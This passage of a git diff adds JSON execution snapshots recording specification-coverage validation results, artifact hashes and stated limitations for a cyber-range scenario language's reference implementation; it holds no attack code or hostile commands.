transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "6cae755852f1f7826ba30f49a74efcc91ea32dc8", + "snapshot_id": "issue-1361-specification-coverage-v55", + "snapshot_revision": "55.0.0", + "source_state": { + "base_revision": "6cae755852f1f7826ba30f49a74efcc91ea32dc8", + "checkout_state": "modified", + "implementation_digest": "5aae891d544955fec78e2fc552abc57eb909d4e83dd88aa07cc09f5adc2898bd", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v56.json b/docs/research/specification-coverage/execution-snapshot-v56.json new file mode 100644 index 000000000..e429a9274 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v56.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T19:01:34.868462+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d4b7b27f1ce0e20902e13745d85d5326b641823a02002962b23e80eaadabab9a", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained offline matrix does not establish provider installation, scheduling, or effect realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "55728f50c7e1e796650c13049e3bef8799240db4", + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v56", + "snapshot_revision": "56.0.0", + "source_state": { + "base_revision": "55728f50c7e1e796650c13049e3bef8799240db4", + "checkout_state": "modified", + "implementation_digest": "511704c3267769662412f0142f83df5a6203383c4f6e1d5cad7a4da58a64cb25", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v57.json b/docs/research/specification-coverage/execution-snapshot-v57.json new file mode 100644 index 000000000..d7f884567 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v57.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T19:41:33.023883+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + 